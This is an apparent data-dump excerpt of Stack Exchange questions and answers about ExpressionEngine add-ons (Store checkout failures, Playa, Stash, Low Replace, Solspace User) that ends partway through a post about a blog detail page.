  <row Id="12868" PostTypeId="2" ParentId="11525" CreationDate="2013-08-19T12:01:15.500" Score="1" Body="&lt;p&gt;{order_subtotal_val} hasn't recalculated until after the form is submitted. Therefore need to submit form via Ajax to refresh for the user&lt;/p&gt;&#xA;" OwnerUserId="1517" LastActivityDate="2013-08-19T12:01:15.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12869" PostTypeId="1" AcceptedAnswerId="12872" CreationDate="2013-08-19T12:04:25.150" Score="0" ViewCount="152" Body="&lt;p&gt;I am looking to display entries based on a custom date field using Solspace Super Search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to use a date picker to select a date in a search form and then use Super Search to only show entries based on that particular date, no entries before or after it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dates are stored in EE using a native EE date field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My field name is next_box&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-08-19T12:33:44.713" Title="Show entries for a certain date with a custom date field using Super Search" Tags="|custom-fields|date|solspace|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12870" PostTypeId="1" CreationDate="2013-08-19T12:21:30.607" Score="1" ViewCount="136" Body="&lt;p&gt;I posted this question a while ago under a different user - I can't comment on that one, so I'm reposting. Hope that's OK!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having a problem with exp-resso whereby my client is receiving payment for orders made on the site but the orders are not appearing in the 'Orders' section of the store - they are remaining as 'Incomplete'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first port of call would be the payment gateway, as it appears not to be flagging payment. However, the problem is appearing with both PayPal Express AND the Barclaycard EPDQ gateways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&#xA;Apparently users are getting redirected to the order confirmation page as expected, but there is no order confirmation ail generated, and the order remains at 'incomplete'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE 2.53 and Store 1.6.4&lt;/p&gt;&#xA;" OwnerUserId="1517" LastEditorUserId="1517" LastEditDate="2013-08-19T12:43:47.007" LastActivityDate="2013-12-05T10:29:55.600" Title="Store: Orders not completing" Tags="|expresso-store|ee2|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12871" PostTypeId="2" ParentId="12858" CreationDate="2013-08-19T12:30:10.693" Score="3" Body="&lt;p&gt;Your original code can't work because of parse order. Tag pairs are not parsed procedurally as you assume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Module tags are parsed from the outer layer inwards - like peeling an onion. Plugin tags (the low_replace tag in this instance) are parsed in the opposite direction (unless parse=&quot;inward&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your code therefore the get_list (layer 2) occurs before you have captured the list (layer 3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can solve this in several ways. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the list on the same parse layer as where you get it, using stash's ability to parse the tags it contains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;\r|\n|\t&quot; replace=&quot;&quot; regex=&quot;yes&quot;}&#xA;    {exp:stash:set_list name=&quot;test&quot; parse_tags=&quot;yes&quot;}&#xA;        {exp:messages:foo&#xA;            limit=&quot;10&quot;&#xA;            paginate=&quot;bottom&quot;&#xA;            sort=&quot;desc&quot;&#xA;        }&#xA;            {stash:message}&amp;lt;section&amp;gt;{message}&amp;lt;/section&amp;gt;{/stash:message}&#xA;        {/exp:messages:foo}&#xA;    {/exp:stash:set_list}&#xA;&#xA;    {exp:stash:get_list name=&quot;test&quot;}&#xA;        {message}&#xA;    {/exp:stash:get_list}&#xA;{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or move the get_list to the end of template parsing. You'll need to get Stash to parse the low_replace tag too since EE has finished tag parsing by that point. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:messages:foo&#xA;    limit=&quot;10&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;    sort=&quot;desc&quot;&#xA;}&#xA;    {exp:stash:prepend_list name=&quot;test&quot;}&#xA;        {stash:message}&amp;lt;section&amp;gt;{message}&amp;lt;/section&amp;gt;{/stash:message}&#xA;    {/exp:stash:prepend_list}&#xA;{/exp:messages:foo}&#xA;&#xA;{exp:stash:get_list name=&quot;test&quot; process=&quot;end&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:low_replace find=&quot;\r|\n|\t&quot; replace=&quot;&quot; regex=&quot;yes&quot;}&#xA;            {message}&#xA;    {/exp:low_replace}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-08-19T12:30:10.693" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12872" PostTypeId="2" ParentId="12869" CreationDate="2013-08-19T12:33:44.713" Score="0" Body="&lt;p&gt;Set your field name to:&#xA;next_box-exact&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then. SuperSearch will return only those entries that match that date.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-08-19T12:33:44.713" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12873" PostTypeId="2" ParentId="12866" CreationDate="2013-08-19T12:36:58.130" Score="0" Body="&lt;p&gt;I think you want to use &lt;code&gt;playa:parents&lt;/code&gt; instead (as the news entries are the &quot;parents&quot; of the selected sector). I gather from your code that the landing page is a Structure page so you'll have to pass that page's entry ID directly (as  don't think Playa will be able to glean it from the URL as normal).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents channel=&quot;news-article&quot; entry_id=&quot;{structure:page:entry_id}&quot; field=&quot;news-related-sector&quot; limit=&quot;2&quot; disable=&quot;member_data|pagination&quot;}&#xA;&amp;lt;article class=&quot;aside-news-listing&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;&#xA;        {if news-thumbnail}&#xA;        &amp;lt;img src=&quot;{news-thumbnail:news-thumbnail}&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;    {if:elseif news-image}&#xA;        &amp;lt;img src=&quot;{news-image:news-thumbnail}&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;/a&amp;gt;&#xA;    &amp;lt;div class=&quot;article-text-block&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        {categories}&#xA;        &amp;lt;a href=&quot;{path='news/'}&quot;&amp;gt;&amp;lt;li class=&quot;sector1text&quot;&amp;gt;{category_name}&amp;lt;/li&amp;gt;&amp;lt;/a&amp;gt;&#xA;        {/categories}&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;span&amp;gt;{entry_date format='%d %F %Y'}&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-08-19T13:35:58.123" LastActivityDate="2013-08-19T13:35:58.123" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12874" PostTypeId="2" ParentId="12867" CreationDate="2013-08-19T12:56:09.020" Score="1" Body="&lt;p&gt;You need to set the Playa input name to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;field_name[row_new_X][col_id_Y][selections][]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the value should only be the entry ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your case I guess that would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot;&#xA;       name=&quot;member_courses[row_new_{exp:mx_calc expression=&quot;{count}-1&quot;}][col_id_20][selections][]&quot;&#xA;       value=&quot;{entry_id}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditDate="2013-08-19T13:03:05.347" LastActivityDate="2013-08-19T13:03:05.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12875" PostTypeId="1" CreationDate="2013-08-19T14:03:13.443" Score="2" ViewCount="190" Body="&lt;p&gt;A website belonging to a client of mine suddenly stopped working. She assures me no changes have been made. It's been 5 days since her last successful online order, and she usually gets several per week. Someone trying to order alerted her to the problem. We have both tried buying something through the site, and neither of us can get past Checkout step 3, where you click place order and go to Paypal. I checked the Paypal API credentials (we're using Paypal express as the gateway), and they are correct. I removed the inline errors and it's still spinning and spinning until it times out, without giving any clue as to what's wrong. The page finally shows a Gateway Time-Out. The website has been working successfully for a couple of years. We are running Store 1.6.3 and EE v2.5.5.&lt;/p&gt;&#xA;" OwnerUserId="437" LastActivityDate="2013-09-26T08:46:54.260" Title="Expresso Store orders suddenly not getting past checkout 3 to Paypal" Tags="|expresso-store|paypal-express-checkout|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12876" PostTypeId="1" CreationDate="2013-08-19T14:32:05.933" Score="0" ViewCount="140" Body="&lt;p&gt;I have the following to strip out the p tags that are auto generated by Wygwam. For some reason it's not happening for me!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{exp:low_replace find=&quot;&amp;lt;p&amp;gt;&quot;}{hero_article:articles_title}{/exp:low_replace}&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This outputs an empty paragraph tag within the h1 tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this might be? I've also tried &lt;code&gt;parse=&quot;outward&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="303" LastEditorUserId="69" LastEditDate="2013-08-19T16:05:00.717" LastActivityDate="2013-08-19T16:06:19.627" Title="Replacing Wygwam p tag with h1 also adds an empty p" Tags="|wygwam|low-replace|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12877" PostTypeId="1" AcceptedAnswerId="12884" CreationDate="2013-08-19T15:07:25.433" Score="2" ViewCount="186" Body="&lt;p&gt;The user add-on, does that allow us to set up custom fields to be used in the new member registration form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fields such as: twitter username, favorite color, etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is that something we can't do during the new member registration form and that would have to be done when the user edits their profile?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you can set custom fields for a user's profile, but I am wondering about custom fields in the registration form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2013-08-19T16:02:57.233" Title="Solspace's user add-on, allow for custom fields in the registration form?" Tags="|solspace|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12878" PostTypeId="1" CreationDate="2013-08-19T15:07:53.437" Score="1" ViewCount="59" Body="&lt;p&gt;I have a channel where each entry has a field called &quot;Brand&quot;. This coincides with an entry title in a different &quot;brands&quot; channel. The best way I've found to set this up is to use a select field type and use the populate feature to draw in these titles. That all works perfectly with one problem...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get it to populate the field in alphabetical order? Currently it's in order of entry which isn't alphabetic and so it's making it hard to use.&lt;/p&gt;&#xA;" OwnerUserId="1428" LastActivityDate="2013-08-19T15:55:05.427" Title="Alphabetise pre-populated select field" Tags="|ee2|fieldtype|sort|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12880" PostTypeId="2" ParentId="12876" CreationDate="2013-08-19T15:32:31.367" Score="0" Body="&lt;p&gt;You'd be better off using &lt;a href=&quot;https://devot-ee.com/add-ons/streeng&quot; rel=&quot;nofollow&quot;&gt;Streeng&lt;/a&gt; in this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:streeng allowed=&quot;h1&quot; parse=&quot;inward&quot;}&amp;lt;h1&amp;gt;{hero_article:articles_title}&amp;lt;/h1&amp;gt;{/exp:streeng}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-08-19T15:32:31.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12882" PostTypeId="2" ParentId="12878" CreationDate="2013-08-19T15:55:05.427" Score="1" Body="&lt;p&gt;Instead of using a select field type and pulling from another channel, you might try using a Relationships field. You can choose the field to order by and sort order as well. Then on your templates it also opens up more opportunity to more easily pull in additional info from other fields in your brands channel entries if needed.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-08-19T15:55:05.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12883" PostTypeId="1" CreationDate="2013-08-19T15:55:11.203" Score="1" ViewCount="101" Body="&lt;p&gt;I've upgraded from EE1 to EE2 and downloaded the latest version of Playa for our project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upgrade seemed to go as planned as the admin is all cool and drop panes and selects display the correct data etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The drop panes fields display perfectly on the front end templates but for some reason the fields using selects do not display on the front end. The select is showing the correctly selected channel entry in the admin though which is strange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The database is showing the following data in the field:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[15278] [aquaforce-awards-2012] Aquaforce Awards 2012&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which all seems good but my frontend template tags spit out nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Jonny&lt;/p&gt;&#xA;" OwnerUserId="1913" LastActivityDate="2013-08-19T16:27:17.467" Title="Playa select not displaying content after upgrade EE1 to EE2" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12884" PostTypeId="2" ParentId="12877" CreationDate="2013-08-19T16:02:57.233" Score="4" Body="&lt;p&gt;Any custom member fields you create in the admin should be available for use as fields on the registration form: &lt;a href=&quot;http://www.solspace.com/docs/user/register/#form_fields&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/user/register/#form_fields&lt;/a&gt; . You can also use their &lt;a href=&quot;http://www.solspace.com/docs/user/register/#select_your_custom_field&quot; rel=&quot;nofollow&quot;&gt;select tag pair&lt;/a&gt; for custom fields: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;your_custom_field&quot;&amp;gt;&#xA;{select_your_custom_field}&#xA;    &amp;lt;option value=&quot;{value}&quot;&amp;gt;{value}&amp;lt;/option&amp;gt;&#xA;{/select_your_custom_field}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-08-19T16:02:57.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12885" PostTypeId="2" ParentId="12876" CreationDate="2013-08-19T16:06:19.627" Score="3" Body="&lt;p&gt;You might want to remove the closing &lt;code&gt;&amp;lt;/p&amp;gt;&lt;/code&gt; as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;&amp;lt;p&amp;gt;|&amp;lt;/p&amp;gt;&quot; multiple=&quot;yes&quot;} ... {/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-08-19T16:06:19.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12886" PostTypeId="1" CreationDate="2013-08-19T16:23:54.997" Score="0" ViewCount="58" Body="&lt;p&gt;I'm setting up ExpressionEngine to list a variety of holidays. We'd like tickboxes to store &quot;tags&quot; about these entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a holiday might have multiple departure months (e.g. it could depart in January, February, and April). It might have a certain duration (14 days, 7 days, etc.), or it might be seasonal (Summer/Winter/Spring/Christmas).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My holidays will be Channel Entries, so what's the best way to categorise this information within the channel entry, ideally so that it can be filtered and pulled through individually to entry pages at a later date?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Should I create a Category (e.g. &quot;Season&quot;) with Category Items (e.g. Summer/Winter/Fall)&lt;/li&gt;&#xA;&lt;li&gt;Should I create a Status (e.g. &quot;Season&quot;), with Statuses (e.g. Summer/Winter/Fall)&lt;/li&gt;&#xA;&lt;li&gt;Is there an Addon that would work best for this kind of thing?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jack&lt;/p&gt;&#xA;" OwnerUserId="742" LastActivityDate="2013-08-19T17:04:02.770" Title="Best ways of categorising/tagging properties of entries?" Tags="|add-on|channel-entries|categories|plugin|status|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12888" PostTypeId="2" ParentId="12883" CreationDate="2013-08-19T16:27:17.467" Score="1" Body="&lt;p&gt;Perhaps you're still using the old, pre-2.0 Playa syntax - which was simply &lt;code&gt;{related_entries}&lt;/code&gt; and &lt;code&gt;{reverse_related_entries}&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since 2.0, Playa has had its &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/field.html&quot; rel=&quot;nofollow&quot;&gt;own template tags&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-19T16:27:17.467" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="12889" PostTypeId="2" ParentId="12886" CreationDate="2013-08-19T16:44:19.240" Score="2" Body="&lt;p&gt;It really depends on how you're going to filter the entries. Categories would work if you're going to rigidly filter by specific months, durations, and seasons (ex: output holidays that depart in January, or that are 14 days long). Just have one category group per filter type (Departure Months, Duration, Season).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you need to filter based on a custom range (ex: output all holidays between Aug. 8 - Dec. 15), then you'll likely need a calendar add-on, like &lt;a href=&quot;http://www.solspace.com/software/detail/calendar/&quot; rel=&quot;nofollow&quot;&gt;Solspace Calendar&lt;/a&gt;, that stores information in timestamp format and allows for recurring events. &lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-08-19T16:44:19.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12890" PostTypeId="2" ParentId="12811" CreationDate="2013-08-19T16:44:55.777" Score="0" Body="&lt;p&gt;Are you perhaps using the &lt;strong&gt;Screen Name Override&lt;/strong&gt; feature? If so, your screen_name field might be saved as something else based on the contents of the fields set for the &lt;strong&gt;Screen Name Override&lt;/strong&gt;. For example, if your &lt;strong&gt;Screen Name Override&lt;/strong&gt; setting is &lt;code&gt;first_name|last_name&lt;/code&gt;, whatever you set for the screen_name will be replaced by what is in fields &lt;code&gt;first_name&lt;/code&gt; and &lt;code&gt;last_name&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this isn't the case, try the &lt;code&gt;{exp:user:edit}&lt;/code&gt; form on a completely, absolutely blank EE template with nothing whatsoever on it besides the code. This is to rule out any effect of javascript/jQuery or other tags (native or third-party) on your form.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-19T16:44:55.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12891" PostTypeId="1" CreationDate="2013-08-19T16:50:26.860" Score="1" ViewCount="191" Body="&lt;p&gt;Is there a possibility to increment a variable/count (something like &quot;i++&quot;) within a matrix field so that the variable is incremented for each row with certain parameters?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The background is that I created a Matrix field to allow the user to reorder html elements. We use Channel Images to upload  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to achieve this in my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_matrix}&#xA;&#xA; {if cell_type == &quot;image&quot;}&#xA; &amp;lt;!-- insert image1.jpg, image2.jpg, image&quot;i++&quot;.jpg --&amp;gt;&#xA;   {exp:channel_images:images_static entry_id=&quot;{entry_id}&quot;}&#xA;     &amp;lt;img src=&quot;{image:{i++}:url}&quot;&amp;gt;&#xA;   {/exp:channel_images:images_static&quot;}&#xA; {/if}&#xA;&#xA; {if cell_type == &quot;text&quot;}&#xA;   {text_from_matrix_cell}&#xA; {/if}&#xA;&#xA;{/my_matrix}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The html code is supposed to be looking like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;image1.jpg&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;Text block 1…&amp;lt;/p&amp;gt;&#xA;&amp;lt;img src=&quot;image2.jpg&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;Text block 2…&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Text block 3…&amp;lt;/p&amp;gt;&#xA;&amp;lt;img src=&quot;image3.jpg&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried it with a switch:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_matrix}&#xA;&#xA; {if cell_type == &quot;image&quot;}&#xA;   {exp:channel_images:images_static entry_id=&quot;{entry_id}&quot;}&#xA;     &amp;lt;img src=&quot;{image:{switch'1|2|3|4|5'}:url}&quot;&amp;gt;&#xA;   {/exp:channel_images:images_static&quot;}&#xA; {/if}&#xA;&#xA; …&#xA;&#xA;{/my_matrix}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The switch statement is working between matrix rows. However, it's alternating between matrix rows &lt;em&gt;whether the surrounding &quot;if&quot;-statement applies or not&lt;/em&gt;. So instead of the desired result posted above, my actual html looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;image1.jpg&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;Text block 1…&amp;lt;/p&amp;gt;&#xA;&amp;lt;img src=&quot;image3.jpg&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;Text block 2…&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Text block 3…&amp;lt;/p&amp;gt;&#xA;&amp;lt;img src=&quot;image6.jpg&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I couldn't think of a way to solve this with php either. Any ideas? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1915" LastActivityDate="2013-10-06T19:46:03.213" Title="Channel Images and Matrix / Increment a variable/count within a matrix field?" Tags="|ee2|matrix|variable|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12892" PostTypeId="2" ParentId="12832" CreationDate="2013-08-19T16:55:33.190" Score="2" Body="&lt;p&gt;Unfortunately there are no options for the return=&quot;&quot; parameter to carry over any data after someone has registered. A query of the exp_members database for the latest email address entered is an approach, but on a popular site with many registration per second, you might inadvertently display the wrong email if someone else registered between sending your form and viewing the thank-you page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in User's Preferences page (CP =&gt; Add-ons =&gt; Modules =&gt; User =&gt; Preferences), there is a &lt;strong&gt;Welcome Email&lt;/strong&gt; setting where you can create an email notification message when registration is &lt;strong&gt;complete&lt;/strong&gt;. The notification email can contain the &lt;code&gt;{email}&lt;/code&gt; variable, among other variables. Of course, this email would be sent only after the administrator has activated the account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(User version as of this writing: 3.4.4)&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-19T16:55:33.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12893" PostTypeId="2" ParentId="12886" CreationDate="2013-08-19T17:04:02.770" Score="0" Body="&lt;p&gt;I don't think you should use Statuses for this purpose, these are good to handle workflow related labels and they should be kept that way in my opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that you can either use categories organised in category groups (ex:Season, Duration and Departure) or a mix of categories and perhaps Low events &lt;a href=&quot;http://gotolow.com/addons/low-events&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-events&lt;/a&gt;, in which Low Events would handle the duration and departure. As kgrote said it depends on how you need to filter the entries.&lt;/p&gt;&#xA;" OwnerUserId="817" LastActivityDate="2013-08-19T17:04:02.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12894" PostTypeId="2" ParentId="12830" CreationDate="2013-08-19T17:08:09.287" Score="1" Body="&lt;p&gt;I have never used Subscriber with Solspace User, so can't really give a final answer, but keep in mind that User stores EE member data the same way and in the same place as the native EE Member Module does. If subscriber works with the native EE Member Module, then chances are it would work with User as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're tying to simply display a member's name and email address in the &quot;name&quot; and &quot;email&quot; address of the Subscriber form, then I assume User would work here. In fact, even native EE tools can be used to get a user's name and email if that's the only purpose. :)&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-19T17:08:09.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12895" PostTypeId="2" ParentId="12829" CreationDate="2013-08-19T17:16:48.797" Score="1" Body="&lt;p&gt;Unfortunately the Calendar widget comes as-is, and there is no setting for limiting which Calendar can be used. Calendar does a number of other processes to register the event when selecting a dropdown option. However, with some javascript/jQuery (and perhaps CSS), you could create a script that pre-selects a calendar and hides the dropdown. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following small jQuery script is an example of a script that would select a calendar_id (ID 9 in this case), then hide the dropdown. Don’t forget to change the &lt;code&gt;val()&lt;/code&gt; value to the calendar_id you want selected.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;$(document).ready(function () {&#xA;   $('[name=&quot;calendar_calendar_id&quot;]').val('9').change().hide();&#xA;   $('div#calendar_calendars').next(&quot;div&quot;).show();&#xA;});&#xA;&amp;lt;/script&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The hide() function will hide your dropdown after selecting a value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Old Solspace Forums reference: &lt;a href=&quot;http://www.solspace.com/forums/viewthread/12433/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/12433/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-19T17:16:48.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12896" PostTypeId="1" AcceptedAnswerId="12899" CreationDate="2013-08-19T17:32:05.210" Score="1" ViewCount="56" Body="&lt;p&gt;I have created a listing page and each time a new entry is created the information is pulled in correctly in the loop. Although when I click on the link for a specific blog article it always displays the latest articles info, regardless of what blog article I click. The URL is always correct, although the content that is being displayed is wrong. You can see here for yourself here: &lt;a href=&quot;http://www.neilmct.com/updates&quot; rel=&quot;nofollow&quot;&gt;http://www.neilmct.com/updates&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me please? I'm having a melt down here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Listing Page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {exp:channel:entries channel=&quot;updates&quot; dynamic=&quot;no&quot; limit=&quot;5&quot; dynamic=&quot;off&quot; status=&quot;open&quot; disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;                &amp;lt;div class=&quot;nine columns&quot;&amp;gt;&#xA;                        &amp;lt;h3&amp;gt;&#xA;                            {title}&#xA;                        &amp;lt;/h3&amp;gt;&#xA;                        &amp;lt;img src=&quot;{updates_image}&quot; alt=&quot;{title}&quot; width=&quot;300&quot; height=&quot;200&quot; &#xA;                        class=&quot;updates-bleep&quot;&amp;gt;&#xA;                        {exp:eehive_hacksaw chars=&quot;540&quot; append=&quot;…&quot; allow=&quot;&quot;}&#xA;                            &amp;lt;p class=&quot;article-excerpt&quot; style=&quot;color: #000; display: inline&quot;&amp;gt;{updates_excerpt}&amp;lt;/p&amp;gt;&#xA;                        {/exp:eehive_hacksaw}&#xA;                        &amp;lt;a href=&quot;{page_url}&quot; style=&quot;display: block&quot;&amp;gt;&#xA;                            &amp;lt;button&amp;gt; READ MORE &#xA;                                &amp;lt;img src=&quot;/assets/images/button-white.png&quot; style=&quot;float:right&quot;/&amp;gt;&#xA;                            &amp;lt;/button&amp;gt;&#xA;                        &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/article&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Detail Page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            